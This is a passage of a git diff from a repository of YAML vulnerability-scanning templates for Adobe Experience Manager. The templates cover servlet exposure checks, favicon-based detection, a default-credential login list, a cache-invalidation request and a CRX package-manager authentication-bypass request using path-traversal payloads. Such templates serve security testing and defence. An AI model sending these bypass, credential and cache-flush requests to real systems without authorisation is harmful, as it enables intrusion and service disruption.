From 3aadbc3a977c7292e0dd0c14ff3f2b94b1c5a5a8 Mon Sep 17 00:00:00 2001
From: GitHub Action
Flushing output
'
\ No newline at end of file
diff --git a/poc/adobe/aem-bg-servlet-129.yaml b/poc/adobe/aem-bg-servlet-129.yaml
index 6a3c2a07b3..b751c4f52a 100644
--- a/poc/adobe/aem-bg-servlet-129.yaml
+++ b/poc/adobe/aem-bg-servlet-129.yaml
@@ -6,9 +6,12 @@ info:
severity: info
reference:
- https://www.slideshare.net/0ang3el/hunting-for-security-bugs-in-aem-webapps-129262212
- tags: aem
+ metadata:
+ max-request: 1
+ shodan-query: http.component:"Adobe Experience Manager"
+ tags: aem,misconfig
-requests:
+http:
- method: GET
path:
- '{{BaseURL}}/system/bgservlets/test.css'
@@ -21,4 +24,6 @@ requests:
- type: word
words:
- - '
Flushing output
'
\ No newline at end of file
+ - '
Flushing output
'
+
+# digest: 4a0a00473045022011679f68ea9ea8736dfbf616cd843e2cd2a218f0f4d79653b8e1b3f66e88310a022100e65d71edf92b948507e7fd6c201b5804ca45fc3c262753fe9804347322869acf:922c64590222798bb761d5b6d8e72950
diff --git a/poc/adobe/aem-cached-pages.yaml b/poc/adobe/aem-cached-pages.yaml
index cba756b341..6a36c8d2b3 100644
--- a/poc/adobe/aem-cached-pages.yaml
+++ b/poc/adobe/aem-cached-pages.yaml
@@ -4,31 +4,22 @@ info:
name: Invalidate / Flush Cached Pages on AEM
author: hetroublemakr
severity: low
- reference:
- - https://twitter.com/AEMSecurity/status/1244965623689609217
- metadata:
- max-request: 1
- shodan-query: http.component:"Adobe Experience Manager"
- tags: aem,misconfig
+ tags: aem
+ reference: https://twitter.com/AEMSecurity/status/1244965623689609217
-http:
+requests:
- method: GET
path:
- "{{BaseURL}}/dispatcher/invalidate.cache"
-
headers:
CQ-Handle: /content
CQ-Path: /content
-
matchers-condition: and
matchers:
- type: word
- part: body
words:
- "OK
"
-
+ part: body
- type: status
status:
- 200
-
-# digest: 4a0a00473045022100fa449369a6b6a19ef08cfa7a83f341000fcbeff5f0fe0b11f236a2463c6fc27802204261447eae5853abfbe57ff0be79318ab2cb59f47717c548474bb6f5e8225959:922c64590222798bb761d5b6d8e72950
diff --git a/poc/adobe/aem-crx-bypass-132.yaml b/poc/adobe/aem-crx-bypass-132.yaml
deleted file mode 100644
index 37c05f023d..0000000000
--- a/poc/adobe/aem-crx-bypass-132.yaml
+++ /dev/null
@@ -1,48 +0,0 @@
-id: aem-crx-bypass
-
-info:
- name: AEM Package Manager - Authentication Bypass
- author: dhiyaneshDK
- severity: critical
- description: Adobe Experience Manager Package Manager is susceptible to a hard to exploit authentication bypass issue. This issue only potentially impacts AEM on-premise or AEM as a Managed Service if default security configurations are removed.
- remediation: "Adobe recommends AEM customers review access controls for the CRX package manager path: /etc/packages."
- reference:
- - https://labs.detectify.com/2021/06/28/aem-crx-bypass-0day-control-over-some-enterprise-aem-crx-package-manager/
- metadata:
- max-request: 2
- shodan-query: http.component:"Adobe Experience Manager"
- tags: aem,adobe,misconfig
-
-http:
- - raw:
- - |
- GET /crx/packmgr/list.jsp;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0aa.css?_dc=1615863080856&_charset_=utf-8&includeVersions=true HTTP/1.1
- Host: {{Hostname}}
- Referer: {{BaseURL}}
- Accept-Encoding: gzip, deflate
- - |
- GET /content/..;/crx/packmgr/list.jsp;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0aa.css?_dc=1615863080856&_charset_=utf-8&includeVersions=true HTTP/1.1
- Host: {{Hostname}}
- Referer: {{BaseURL}}
- Accept-Encoding: gzip, deflate
-
- matchers-condition: and
- matchers:
- - type: word
- part: body
- words:
- - 'buildCount'
- - 'downloadName'
- - 'acHandling'
- condition: and
-
- - type: word
- part: header
- words:
- - 'application/json'
-
- - type: status
- status:
- - 200
-
-# digest: 490a0046304402206a620fb735ebddf2d38e66617f652a1d1f980bfc98b77c0784066538fcc3193c022062a511eed56f5bd9e0eaf2f93bf17a079e6c673676cbae5e2d506e72a96f084c:922c64590222798bb761d5b6d8e72950
diff --git a/poc/adobe/aem-crx-bypass-134.yaml b/poc/adobe/aem-crx-bypass-134.yaml
index a6187d442a..6607f936be 100644
--- a/poc/adobe/aem-crx-bypass-134.yaml
+++ b/poc/adobe/aem-crx-bypass-134.yaml
@@ -1,12 +1,10 @@
id: aem-crx-bypass
-
info:
author: dhiyaneshDK
name: AEM CRX Bypass
severity: critical
reference: https://labs.detectify.com/2021/06/28/aem-crx-bypass-0day-control-over-some-enterprise-aem-crx-package-manager/
tags: aem
-
requests:
- raw:
- |
@@ -14,13 +12,11 @@ requests:
Host: {{Hostname}}
Referer: {{BaseURL}}
Accept-Encoding: gzip, deflate
-
- |
GET /content/..;/crx/packmgr/list.jsp;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0aa.css?_dc=1615863080856&_charset_=utf-8&includeVersions=true HTTP/1.1
Host: {{Hostname}}
Referer: {{BaseURL}}
Accept-Encoding: gzip, deflate
-
matchers-condition: and
matchers:
- type: word
@@ -30,12 +26,10 @@ requests:
- 'downloadName'
- 'acHandling'
condition: and
-
- type: word
part: header
words:
- 'application/json'
-
- type: status
status:
- 200
diff --git a/poc/adobe/aem-default-get-servlet-135.yaml b/poc/adobe/aem-default-get-servlet-135.yaml
new file mode 100644
index 0000000000..7842d3d3da
--- /dev/null
+++ b/poc/adobe/aem-default-get-servlet-135.yaml
@@ -0,0 +1,91 @@
+id: aem-default-get-servlet
+info:
+ author: DhiyaneshDk
+ name: AEM DefaultGetServlet
+ severity: low
+ description: Sensitive information might be exposed via AEM DefaultGetServlet.
+ reference:
+ - https://speakerdeck.com/0ang3el/hunting-for-security-bugs-in-aem-webapps?slide=43
+ - https://github.com/thomashartm/burp-aem-scanner/blob/master/src/main/java/burp/actions/dispatcher/GetServletExposed.java
+ tags: aem,adobe
+
+
+requests:
+ - method: GET
+ path:
+ - '{{BaseURL}}/etc'
+ - '{{BaseURL}}/var'
+ - '{{BaseURL}}/apps'
+ - '{{BaseURL}}/home'
+ - '{{BaseURL}}///etc'
+ - '{{BaseURL}}///var'
+ - '{{BaseURL}}///apps'
+ - '{{BaseURL}}///home'
+ - '{{BaseURL}}/.json'
+ - '{{BaseURL}}/.1.json'
+ - '{{BaseURL}}/....4.2.1....json'
+ - '{{BaseURL}}/.json?FNZ.css'
+ - '{{BaseURL}}/.json?FNZ.ico'
+ - '{{BaseURL}}/.json?FNZ.html'
+ - '{{BaseURL}}/.json/FNZ.css'
+ - '{{BaseURL}}/.json/FNZ.html'
+ - '{{BaseURL}}/.json/FNZ.png'
+ - '{{BaseURL}}/.json/FNZ.ico'
+ - '{{BaseURL}}/.children.1.json'
+ - '{{BaseURL}}/.children....4.2.1....json'
+ - '{{BaseURL}}/.children.json?FNZ.css'
+ - '{{BaseURL}}/.children.json?FNZ.ico'
+ - '{{BaseURL}}/.children.json?FNZ.html'
+ - '{{BaseURL}}/.children.json/FNZ.css'
+ - '{{BaseURL}}/.children.json/FNZ.html'
+ - '{{BaseURL}}/.children.json/FNZ.png'
+ - '{{BaseURL}}/.children.json/FNZ.ico'
+ - '{{BaseURL}}/etc.json'
+ - '{{BaseURL}}/etc.1.json'
+ - '{{BaseURL}}/etc....4.2.1....json'
+ - '{{BaseURL}}/etc.json?FNZ.css'
+ - '{{BaseURL}}/etc.json?FNZ.ico'
+ - '{{BaseURL}}/etc.json?FNZ.html'
+ - '{{BaseURL}}/etc.json/FNZ.css'
+ - '{{BaseURL}}/etc.json/FNZ.html'
+ - '{{BaseURL}}/etc.json/FNZ.ico'
+ - '{{BaseURL}}/etc.children.json'
+ - '{{BaseURL}}/etc.children.1.json'
+ - '{{BaseURL}}/etc.children....4.2.1....json'
+ - '{{BaseURL}}/etc.children.json?FNZ.css'
+ - '{{BaseURL}}/etc.children.json?FNZ.ico'
+ - '{{BaseURL}}/etc.children.json?FNZ.html'
+ - '{{BaseURL}}/etc.children.json/FNZ.css'
+ - '{{BaseURL}}/etc.children.json/FNZ.html'
+ - '{{BaseURL}}/etc.children.json/FNZ.png'
+ - '{{BaseURL}}/etc.children.json/FNZ.ico'
+ - '{{BaseURL}}///etc.json'
+ - '{{BaseURL}}///etc.1.json'
+ - '{{BaseURL}}///etc....4.2.1....json'
+ - '{{BaseURL}}///etc.json?FNZ.css'
+ - '{{BaseURL}}///etc.json?FNZ.ico'
+ - '{{BaseURL}}///etc.json/FNZ.html'
+ - '{{BaseURL}}///etc.json/FNZ.png'
+ - '{{BaseURL}}///etc.json/FNZ.ico'
+ - '{{BaseURL}}///etc.children.json'
+ - '{{BaseURL}}///etc.children.1.json'
+ - '{{BaseURL}}///etc.children....4.2.1....json'
+ - '{{BaseURL}}///etc.children.json?FNZ.css'
+ - '{{BaseURL}}///etc.children.json?FNZ.ico'
+ - '{{BaseURL}}///etc.children.json?FNZ.html'
+ - '{{BaseURL}}///etc.children.json/FNZ.css'
+ - '{{BaseURL}}///etc.children.json/FNZ.html'
+ - '{{BaseURL}}///etc.children.json/FNZ.png'
+ - '{{BaseURL}}///etc.children.json/FNZ.ico'
+
+ stop-at-first-match: true
+ matchers-condition: and
+ matchers:
+ - type: status
+ status:
+ - 200
+
+ - type: word
+ words:
+ - 'jcr:createdBy'
+ condition: and
diff --git a/poc/adobe/aem-default-get-servlet-137.yaml b/poc/adobe/aem-default-get-servlet-137.yaml
deleted file mode 100644
index d3546ab204..0000000000
--- a/poc/adobe/aem-default-get-servlet-137.yaml
+++ /dev/null
@@ -1,78 +0,0 @@
-id: aem-default-get-servlet
-info:
- author: DhiyaneshDk
- name: AEM DefaultGetServlet
- severity: low
- reference: https://speakerdeck.com/0ang3el/hunting-for-security-bugs-in-aem-webapps?slide=43
- tags: aem
-
-
-requests:
- - method: GET
- path:
- - '{{BaseURL}}/.json'
- - '{{BaseURL}}/.1.json'
- - '{{BaseURL}}/....4.2.1....json'
- - '{{BaseURL}}/.json?FNZ.css'
- - '{{BaseURL}}/.json?FNZ.ico'
- - '{{BaseURL}}/.json?FNZ.html'
- - '{{BaseURL}}/.json/FNZ.css'
- - '{{BaseURL}}/.json/FNZ.html'
- - '{{BaseURL}}/.json/FNZ.png'
- - '{{BaseURL}}/.json/FNZ.ico'
- - '{{BaseURL}}/.children.1.json'
- - '{{BaseURL}}/.children....4.2.1....json'
- - '{{BaseURL}}/.children.json?FNZ.css'
- - '{{BaseURL}}/.children.json?FNZ.ico'
- - '{{BaseURL}}/.children.json?FNZ.html'
- - '{{BaseURL}}/.children.json/FNZ.css'
- - '{{BaseURL}}/.children.json/FNZ.html'
- - '{{BaseURL}}/.children.json/FNZ.png'
- - '{{BaseURL}}/.children.json/FNZ.ico'
- - '{{BaseURL}}/etc.json'
- - '{{BaseURL}}/etc.1.json'
- - '{{BaseURL}}/etc....4.2.1....json'
- - '{{BaseURL}}/etc.json?FNZ.css'
- - '{{BaseURL}}/etc.json?FNZ.ico'
- - '{{BaseURL}}/etc.json?FNZ.html'
- - '{{BaseURL}}/etc.json/FNZ.css'
- - '{{BaseURL}}/etc.json/FNZ.html'
- - '{{BaseURL}}/etc.json/FNZ.ico'
- - '{{BaseURL}}/etc.children.json'
- - '{{BaseURL}}/etc.children.1.json'
- - '{{BaseURL}}/etc.children....4.2.1....json'
- - '{{BaseURL}}/etc.children.json?FNZ.css'
- - '{{BaseURL}}/etc.children.json?FNZ.ico'
- - '{{BaseURL}}/etc.children.json?FNZ.html'
- - '{{BaseURL}}/etc.children.json/FNZ.css'
- - '{{BaseURL}}/etc.children.json/FNZ.html'
- - '{{BaseURL}}/etc.children.json/FNZ.png'
- - '{{BaseURL}}/etc.children.json/FNZ.ico'
- - '{{BaseURL}}///etc.json'
- - '{{BaseURL}}///etc.1.json'
- - '{{BaseURL}}///etc....4.2.1....json'
- - '{{BaseURL}}///etc.json?FNZ.css'
- - '{{BaseURL}}///etc.json?FNZ.ico'
- - '{{BaseURL}}///etc.json/FNZ.html'
- - '{{BaseURL}}///etc.json/FNZ.png'
- - '{{BaseURL}}///etc.json/FNZ.ico'
- - '{{BaseURL}}///etc.children.json'
- - '{{BaseURL}}///etc.children.1.json'
- - '{{BaseURL}}///etc.children....4.2.1....json'
- - '{{BaseURL}}///etc.children.json?FNZ.css'
- - '{{BaseURL}}///etc.children.json?FNZ.ico'
- - '{{BaseURL}}///etc.children.json?FNZ.html'
- - '{{BaseURL}}///etc.children.json/FNZ.css'
- - '{{BaseURL}}///etc.children.json/FNZ.html'
- - '{{BaseURL}}///etc.children.json/FNZ.png'
- - '{{BaseURL}}///etc.children.json/FNZ.ico'
- matchers-condition: and
- matchers:
- - type: status
- status:
- - 200
-
- - type: word
- words:
- - 'jcr:createdBy'
- condition: and
diff --git a/poc/adobe/aem-default-get-servlet.yaml b/poc/adobe/aem-default-get-servlet.yaml
index 008fa65fb6..d3546ab204 100644
--- a/poc/adobe/aem-default-get-servlet.yaml
+++ b/poc/adobe/aem-default-get-servlet.yaml
@@ -1,29 +1,15 @@
id: aem-default-get-servlet
-
info:
- name: AEM DefaultGetServlet
author: DhiyaneshDk
+ name: AEM DefaultGetServlet
severity: low
- description: Sensitive information might be exposed via AEM DefaultGetServlet.
- reference:
- - https://speakerdeck.com/0ang3el/hunting-for-security-bugs-in-aem-webapps?slide=43
- - https://github.com/thomashartm/burp-aem-scanner/blob/master/src/main/java/burp/actions/dispatcher/GetServletExposed.java
- metadata:
- max-request: 64
- shodan-query: http.component:"Adobe Experience Manager"
- tags: aem,adobe,misconfig
+ reference: https://speakerdeck.com/0ang3el/hunting-for-security-bugs-in-aem-webapps?slide=43
+ tags: aem
+
-http:
+requests:
- method: GET
path:
- - '{{BaseURL}}/etc'
- - '{{BaseURL}}/var'
- - '{{BaseURL}}/apps'
- - '{{BaseURL}}/home'
- - '{{BaseURL}}///etc'
- - '{{BaseURL}}///var'
- - '{{BaseURL}}///apps'
- - '{{BaseURL}}///home'
- '{{BaseURL}}/.json'
- '{{BaseURL}}/.1.json'
- '{{BaseURL}}/....4.2.1....json'
@@ -80,9 +66,6 @@ http:
- '{{BaseURL}}///etc.children.json/FNZ.html'
- '{{BaseURL}}///etc.children.json/FNZ.png'
- '{{BaseURL}}///etc.children.json/FNZ.ico'
-
- stop-at-first-match: true
-
matchers-condition: and
matchers:
- type: status
@@ -93,5 +76,3 @@ http:
words:
- 'jcr:createdBy'
condition: and
-
-# digest: 4a0a00473045022100e488c473b0ca04235cac72efdb586f80e8fc7ed6b9c887639b0655f9cc0fe1dd0220255b32fb575b48097750c878a707ac400fab98127da302708288f8e36e926a9e:922c64590222798bb761d5b6d8e72950
diff --git a/poc/adobe/aem-default-login-140.yaml b/poc/adobe/aem-default-login-140.yaml
index 66a6189c19..8072025a73 100644
--- a/poc/adobe/aem-default-login-140.yaml
+++ b/poc/adobe/aem-default-login-140.yaml
@@ -11,10 +11,9 @@ info:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L
cvss-score: 8.3
cwe-id: CWE-522
- metadata:
- shodan-query: http.component:"Adobe Experience Manager"
tags: aem,default-login,adobe
+
requests:
- raw:
- |
@@ -33,20 +32,12 @@ requests:
- grios
- replication-receiver
- vgnadmin
- - author
- - anonymous
- - jdoe@geometrixx.info
- - aparker@geometrixx.info
aem_pass:
- admin
- password
- replication-receiver
- vgnadmin
- - author
- - anonymous
- - jdoe
- - aparker
stop-at-first-match: true
matchers-condition: and
@@ -57,9 +48,9 @@ requests:
- type: word
part: header
+ condition: and
words:
- login-token
- crx.default
- condition: and
# Enhanced by mp on 2022/03/23
diff --git a/poc/adobe/aem-detaction.yaml b/poc/adobe/aem-detaction.yaml
deleted file mode 100644
index 4c92b48c8b..0000000000
--- a/poc/adobe/aem-detaction.yaml
+++ /dev/null
@@ -1,26 +0,0 @@
-id: favicon-detection-AEM
-
-info:
- name: favicon-detection-AEM (Adobe Experience Manager)
- severity: info
- author: shifacyclewala hackergautam
- reference: |
- - https://twitter.com/brsn76945860/status/1171233054951501824
- - https://gist.github.com/yehgdotnet/b9dfc618108d2f05845c4d8e28c5fc6a
- - https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139
- - https://github.com/devanshbatham/FavFreak
- - https://github.com/sansatart/scrapts/blob/master/shodan-favicon-hashes.csv
-
-requests:
- - method: GET
- path:
- - "{{BaseURL}}/libs/granite/core/content/login/favicon.ico"
-
- redirects: true
- max-redirects: 2
-
- matchers:
- - type: dsl
- name: "Adobe Experience Manager (AEM)"
- dsl:
- - "status_code==200 && (\"-144483185\" == mmh3(base64_py(body)))"
diff --git a/poc/adobe/aem-detection-144.yaml b/poc/adobe/aem-detection-144.yaml
index 882cca92b6..421bb35f54 100644
--- a/poc/adobe/aem-detection-144.yaml
+++ b/poc/adobe/aem-detection-144.yaml
@@ -2,8 +2,9 @@ id: aem-detection
info:
name: Favicon based AEM Detection
- author: shifacyclewala,hackergautam
severity: info
+ author: shifacyclewala,hackergautam
+ tags: aem,favicon,tech
reference:
- https://twitter.com/brsn76945860/status/1171233054951501824
- https://gist.github.com/yehgdotnet/b9dfc618108d2f05845c4d8e28c5fc6a
@@ -12,7 +13,6 @@ info:
- https://github.com/sansatart/scrapts/blob/master/shodan-favicon-hashes.csv
metadata:
shodan-query: http.component:"Adobe Experience Manager"
- tags: aem,favicon,tech
requests:
- method: GET
diff --git a/poc/adobe/aem-detection-145.yaml b/poc/adobe/aem-detection-145.yaml
new file mode 100644
index 0000000000..bb3d7e0753
--- /dev/null
+++ b/poc/adobe/aem-detection-145.yaml
@@ -0,0 +1,28 @@
+id: aem-detection
+
+info:
+ name: Favicon based AEM Detection
+ author: shifacyclewala,hackergautam
+ severity: info
+ reference:
+ - https://twitter.com/brsn76945860/status/1171233054951501824
+ - https://gist.github.com/yehgdotnet/b9dfc618108d2f05845c4d8e28c5fc6a
+ - https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139
+ - https://github.com/devanshbatham/FavFreak
+ - https://github.com/sansatart/scrapts/blob/master/shodan-favicon-hashes.csv
+ metadata:
+ shodan-query: http.component:"Adobe Experience Manager"
+ tags: aem,favicon,tech,adobe
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}/libs/granite/core/content/login/favicon.ico"
+
+ redirects: true
+ max-redirects: 2
+
+ matchers:
+ - type: dsl
+ dsl:
+ - "status_code==200 && (\"-144483185\" == mmh3(base64_py(body)))"
diff --git a/poc/adobe/aem-detection-146.yaml b/poc/adobe/aem-detection-146.yaml
deleted file mode 100644
index 421bb35f54..0000000000
--- a/poc/adobe/aem-detection-146.yaml
+++ /dev/null
@@ -1,28 +0,0 @@
-id: aem-detection
-
-info:
- name: Favicon based AEM Detection
- severity: info
- author: shifacyclewala,hackergautam
- tags: aem,favicon,tech
- reference:
- - https://twitter.com/brsn76945860/status/1171233054951501824
- - https://gist.github.com/yehgdotnet/b9dfc618108d2f05845c4d8e28c5fc6a
- - https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139
- - https://github.com/devanshbatham/FavFreak
- - https://github.com/sansatart/scrapts/blob/master/shodan-favicon-hashes.csv
- metadata:
- shodan-query: http.component:"Adobe Experience Manager"
-
-requests:
- - method: GET
- path:
- - "{{BaseURL}}/libs/granite/core/content/login/favicon.ico"
-
- redirects: true
- max-redirects: 2
-
- matchers:
- - type: dsl
- dsl:
- - "status_code==200 && (\"-144483185\" == mmh3(base64_py(body)))"
\ No newline at end of file
diff --git a/poc/adobe/aem-detection.yaml b/poc/adobe/aem-detection.yaml
index bb3d7e0753..4c92b48c8b 100644
--- a/poc/adobe/aem-detection.yaml
+++ b/poc/adobe/aem-detection.yaml
@@ -1,19 +1,16 @@
-id: aem-detection
+id: favicon-detection-AEM
info:
- name: Favicon based AEM Detection
- author: shifacyclewala,hackergautam
+ name: favicon-detection-AEM (Adobe Experience Manager)
severity: info
- reference:
+ author: shifacyclewala hackergautam
+ reference: |
- https://twitter.com/brsn76945860/status/1171233054951501824
- https://gist.github.com/yehgdotnet/b9dfc618108d2f05845c4d8e28c5fc6a
- https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139
- https://github.com/devanshbatham/FavFreak
- https://github.com/sansatart/scrapts/blob/master/shodan-favicon-hashes.csv
- metadata:
- shodan-query: http.component:"Adobe Experience Manager"
- tags: aem,favicon,tech,adobe
-
+
requests:
- method: GET
path:
@@ -24,5 +21,6 @@ requests:
matchers:
- type: dsl
+ name: "Adobe Experience Manager (AEM)"
dsl:
- "status_code==200 && (\"-144483185\" == mmh3(base64_py(body)))"
diff --git a/poc/adobe/aem-gql-servlet-147.yaml b/poc/adobe/aem-gql-servlet-147.yaml
deleted file mode 100644
index b4c553151b..0000000000
--- a/poc/adobe/aem-gql-servlet-147.yaml
+++ /dev/null
@@ -1,55 +0,0 @@
-id: aem-gql-servlet
-
-info:
- author: dhiyaneshDk,prettyboyaaditya
- name: AEM GQLServlet
- severity: low
- reference: https://helpx.adobe.com/experience-manager/6-3/sites/developing/using/reference-materials/javadoc/index.html?org/apache/jackrabbit/commons/query/GQL.html
- tags: aem
-
-requests:
- - method: GET
- path:
- - '{{BaseURL}}/bin/wcm/search/gql.json?query=type:User%20limit:..1&pathPrefix=&p.ico'
- - '{{BaseURL}}/bin/wcm/search/gql.servlet.json?query=type:base%20limit:..1&pathPrefix='
- - '{{BaseURL}}/bin/wcm/search/gql.json?query=type:base%20limit:..1&pathPrefix='
- - '{{BaseURL}}/bin/wcm/search/gql.json/a.1.json?query=type:base%20limit:..1&pathPrefix='
- - '{{BaseURL}}/bin/wcm/search/gql.json/a.4.2.1...json?query=type:base%20limit:..1&pathPrefix='
- - '{{BaseURL}}/bin/wcm/search/gql.json;%0aa.css?query=type:base%20limit:..1&pathPrefix='
- - '{{BaseURL}}/bin/wcm/search/gql.json;%0aa.html?query=type:base%20limit:..1&pathPrefix='
- - '{{BaseURL}}/bin/wcm/search/gql.json;%0aa.js?query=type:base%20limit:..1&pathPrefix='
- - '{{BaseURL}}/bin/wcm/search/gql.json;%0aa.png?query=type:base%20limit:..1&pathPrefix='
- - '{{BaseURL}}/bin/wcm/search/gql.json;%0aa.ico?query=type:base%20limit:..1&pathPrefix='
- - '{{BaseURL}}/bin/wcm/search/gql.json/a.css?query=type:base%20limit:..1&pathPrefix='
- - '{{BaseURL}}/bin/wcm/search/gql.json/a.js?query=type:base%20limit:..1&pathPrefix='
- - '{{BaseURL}}/bin/wcm/search/gql.json/a.ico?query=type:base%20limit:..1&pathPrefix='
- - '{{BaseURL}}/bin/wcm/search/gql.json/a.png?query=type:base%20limit:..1&pathPrefix='
- - '{{BaseURL}}/bin/wcm/search/gql.json/a.html?query=type:base%20limit:..1&pathPrefix='
- - '{{BaseURL}}///bin///wcm///search///gql.servlet.json?query=type:base%20limit:..1&pathPrefix='
- - '{{BaseURL}}///bin///wcm///search///gql.json?query=type:base%20limit:..1&pathPrefix='
- - '{{BaseURL}}///bin///wcm///search///gql.json///a.1.json?query=type:base%20limit:..1&pathPrefix='
- - '{{BaseURL}}///bin///wcm///search///gql.json///a.4.2.1...json?query=type:base%20limit:..1&pathPrefix='
- - '{{BaseURL}}///bin///wcm///search///gql.json;%0aa.css?query=type:base%20limit:..1&pathPrefix='
- - '{{BaseURL}}///bin///wcm///search///gql.json;%0aa.js?query=type:base%20limit:..1&pathPrefix='
- - '{{BaseURL}}///bin///wcm///search///gql.json;%0aa.html?query=type:base%20limit:..1&pathPrefix='
- - '{{BaseURL}}///bin///wcm///search///gql.json;%0aa.png?query=type:base%20limit:..1&pathPrefix='
- - '{{BaseURL}}///bin///wcm///search///gql.json;%0aa.ico?query=type:base%20limit:..1&pathPrefix='
- - '{{BaseURL}}///bin///wcm///search///gql.json///a.css?query=type:base%20limit:..1&pathPrefix='
- - '{{BaseURL}}///bin///wcm///search///gql.json///a.ico?query=type:base%20limit:..1&pathPrefix='
- - '{{BaseURL}}///bin///wcm///search///gql.json///a.png?query=type:base%20limit:..1&pathPrefix='
- - '{{BaseURL}}///bin///wcm///search///gql.json///a.js?query=type:base%20limit:..1&pathPrefix='
- - '{{BaseURL}}///bin///wcm///search///gql.json///a.html?query=type:base%20limit:..1&pathPrefix='
-
- stop-at-first-match: true
- matchers-condition: and
- matchers:
- - type: status
- status:
- - 200
-
- - type: word
- words:
- - 'excerpt'
- - 'path'
- - 'hits'
- condition: and
diff --git a/poc/adobe/aem-gql-servlet-150.yaml b/poc/adobe/aem-gql-servlet-150.yaml
new file mode 100644
index 0000000000..36a597b300
--- /dev/null
+++ b/poc/adobe/aem-gql-servlet-150.yaml
@@ -0,0 +1,26 @@
+id: aem-gql-servlet
+
+info:
+ author: DhiyaneshDk
+ name: AEM GQLServlet
+ severity: low
+ reference: https://helpx.adobe.com/experience-manager/6-3/sites/developing/using/reference-materials/javadoc/index.html?org/apache/jackrabbit/commons/query/GQL.html
+ tags: aem
+
+
+requests:
+ - method: GET
+ path:
+ - '{{BaseURL}}/bin/wcm/search/gql.json?query=type:User%20limit:..1&pathPrefix=&p.ico'
+ matchers-condition: and
+ matchers:
+ - type: status
+ status:
+ - 200
+
+ - type: word
+ words:
+ - 'excerpt'
+ - 'path'
+ - 'hits'
+ condition: and
diff --git a/poc/adobe/aem-gql-servlet.yaml b/poc/adobe/aem-gql-servlet.yaml
index 36a597b300..b4c553151b 100644
--- a/poc/adobe/aem-gql-servlet.yaml
+++ b/poc/adobe/aem-gql-servlet.yaml
@@ -1,17 +1,46 @@
id: aem-gql-servlet
info:
- author: DhiyaneshDk
+ author: dhiyaneshDk,prettyboyaaditya
name: AEM GQLServlet
severity: low
reference: https://helpx.adobe.com/experience-manager/6-3/sites/developing/using/reference-materials/javadoc/index.html?org/apache/jackrabbit/commons/query/GQL.html
tags: aem
-
requests:
- method: GET
path:
- '{{BaseURL}}/bin/wcm/search/gql.json?query=type:User%20limit:..1&pathPrefix=&p.ico'
+ - '{{BaseURL}}/bin/wcm/search/gql.servlet.json?query=type:base%20limit:..1&pathPrefix='
+ - '{{BaseURL}}/bin/wcm/search/gql.json?query=type:base%20limit:..1&pathPrefix='
+ - '{{BaseURL}}/bin/wcm/search/gql.json/a.1.json?query=type:base%20limit:..1&pathPrefix='
+ - '{{BaseURL}}/bin/wcm/search/gql.json/a.4.2.1...json?query=type:base%20limit:..1&pathPrefix='
+ - '{{BaseURL}}/bin/wcm/search/gql.json;%0aa.css?query=type:base%20limit:..1&pathPrefix='
+ - '{{BaseURL}}/bin/wcm/search/gql.json;%0aa.html?query=type:base%20limit:..1&pathPrefix='
+ - '{{BaseURL}}/bin/wcm/search/gql.json;%0aa.js?query=type:base%20limit:..1&pathPrefix='
+ - '{{BaseURL}}/bin/wcm/search/gql.json;%0aa.png?query=type:base%20limit:..1&pathPrefix='
+ - '{{BaseURL}}/bin/wcm/search/gql.json;%0aa.ico?query=type:base%20limit:..1&pathPrefix='
+ - '{{BaseURL}}/bin/wcm/search/gql.json/a.css?query=type:base%20limit:..1&pathPrefix='
+ - '{{BaseURL}}/bin/wcm/search/gql.json/a.js?query=type:base%20limit:..1&pathPrefix='
+ - '{{BaseURL}}/bin/wcm/search/gql.json/a.ico?query=type:base%20limit:..1&pathPrefix='
+ - '{{BaseURL}}/bin/wcm/search/gql.json/a.png?query=type:base%20limit:..1&pathPrefix='
+ - '{{BaseURL}}/bin/wcm/search/gql.json/a.html?query=type:base%20limit:..1&pathPrefix='
+ - '{{BaseURL}}///bin///wcm///search///gql.servlet.json?query=type:base%20limit:..1&pathPrefix='
+ - '{{BaseURL}}///bin///wcm///search///gql.json?query=type:base%20limit:..1&pathPrefix='
+ - '{{BaseURL}}///bin///wcm///search///gql.json///a.1.json?query=type:base%20limit:..1&pathPrefix='
+ - '{{BaseURL}}///bin///wcm///search///gql.json///a.4.2.1...json?query=type:base%20limit:..1&pathPrefix='
+ - '{{BaseURL}}///bin///wcm///search///gql.json;%0aa.css?query=type:base%20limit:..1&pathPrefix='
+ - '{{BaseURL}}///bin///wcm///search///gql.json;%0aa.js?query=type:base%20limit:..1&pathPrefix='
+ - '{{BaseURL}}///bin///wcm///search///gql.json;%0aa.html?query=type:base%20limit:..1&pathPrefix='
+ - '{{BaseURL}}///bin///wcm///search///gql.json;%0aa.png?query=type:base%20limit:..1&pathPrefix='
+ - '{{BaseURL}}///bin///wcm///search///gql.json;%0aa.ico?query=type:base%20limit:..1&pathPrefix='
+ - '{{BaseURL}}///bin///wcm///search///gql.json///a.css?query=type:base%20limit:..1&pathPrefix='
+ - '{{BaseURL}}///bin///wcm///search///gql.json///a.ico?query=type:base%20limit:..1&pathPrefix='
+ - '{{BaseURL}}///bin///wcm///search///gql.json///a.png?query=type:base%20limit:..1&pathPrefix='
+ - '{{BaseURL}}///bin///wcm///search///gql.json///a.js?query=type:base%20limit:..1&pathPrefix='
+ - '{{BaseURL}}///bin///wcm///search///gql.json///a.html?query=type:base%20limit:..1&pathPrefix='
+
+ stop-at-first-match: true
matchers-condition: and
matchers:
- type: status
diff --git a/poc/adobe/aem-groovyconsole-153.yaml b/poc/adobe/aem-groovyconsole-153.yaml
deleted file mode 100644
index 2d05325869..0000000000
--- a/poc/adobe/aem-groovyconsole-153.yaml
+++ /dev/null
@@ -1,37 +0,0 @@
-id: aem-groovyconsole
-
-info:
- name: AEM Groovy Console Discovery
